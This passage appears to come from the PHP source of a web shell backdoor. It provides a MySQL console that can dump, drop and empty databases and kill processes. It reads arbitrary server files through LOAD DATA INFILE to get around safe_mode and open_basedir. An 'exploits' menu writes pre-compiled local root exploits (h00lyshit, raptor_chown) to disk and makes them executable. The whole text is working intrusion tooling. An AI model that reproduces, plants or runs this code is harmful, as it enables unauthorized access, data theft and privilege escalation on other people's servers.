?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
}
//End left panel
echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert")
{
if ($sql_tbl_insert_radio == 1)
{
$keys = '';
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_radio == 2)
{
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query")
{
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_act,$acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtbl")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else
{
$diplay = TRUE;
$set = array();
$set['sock'] = $sql_sock;
$set['db'] = $sql_db;
$dump_out = 'download';
$set['print'] = 0;
$set['nl2br'] = 0;
$set[''] = 0;
$set['file'] = $dump_file;
$set['add_drop'] = TRUE;
$set['onlytabs'] = array();
if (!empty($dmptbls)) {$set['onlytabs'] = explode(';',$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile)
{
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else
{
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writen to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{
}
else
{
echo '<br><br><b>Inserting row into table:</b><br>';
if (!empty($sql_tbl_insert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
foreach ($tbl_struct_fields as $field)
{
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_act == "browse")
{
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "[Pages]&nbsp;";
$b = 0;
for($i=0;$i<$numpages;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo "&nbsp;";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++)
{
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo '</tr>';
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
}
}
else
{
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>+</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
}
else
{
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new Database:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_act))
{
echo "<hr size=\"1\" noshade>";
if ($sql_act == "newdb")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_act == "servervars")
{
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
echo '<br><br>';
}
$act = $dspact = 'ls';
}
if ($act == 'd')
{
if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
else
{
echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
}
}
if ($act == 'phpinfoframe') {@ob_clean(); phpinfo(); GNYexit();}
if ($act == 'phpinfo') {
echo '<iframe
src ="?act=phpinfoframe"
height="100%"
width="100%">
</iframe>';
}
if ($act == 'exploit') {
echo '<iframe
src ="'.$millink.'"
height="300"
width="100%">
</iframe><br /><br />
<iframe src ="'.$stormlink.'"
height="300"
width="100%">
</iframe>';
}
if ($act == 'exploits') {
?>
<b>Exploits:</b>
<br><br>
All exploits are pre-compiled. Just follow the directions.
<br><br>
<b>h00lyshit - Local Race Exploit</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="act" value="exploits">
<input type=hidden name="sploit" value="h00lyshit">
Path to extract to: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Create"></form>
<?php
if ($_GET['sploit'] == 'h00lyshit') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'h00lyshit', $h00lyshit);
echo '<font color=green>h00lyshit was created in '.htmlentities($_GET['path']).'</font>';
chmod($_GET['path'].'/h00lyshit', 0777);
}else{
echo '<font color=red>Directory is not writable!<br></font>';
}
} // end if h00lyshit was called
?>
<br><br>
<b>raptor_chown - Group Modification Exploit</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="act" value="exploits">
<input type=hidden name="sploit" value="raptorchown">
Path to extract to: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Create"></form>
<?php
if ($_GET['sploit'] == 'raptorchown') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'raptor_chown', $raptorchown);
echo '<font color=green>raptor_chown was created in '.htmlentities($_GET['path']).'</font>';
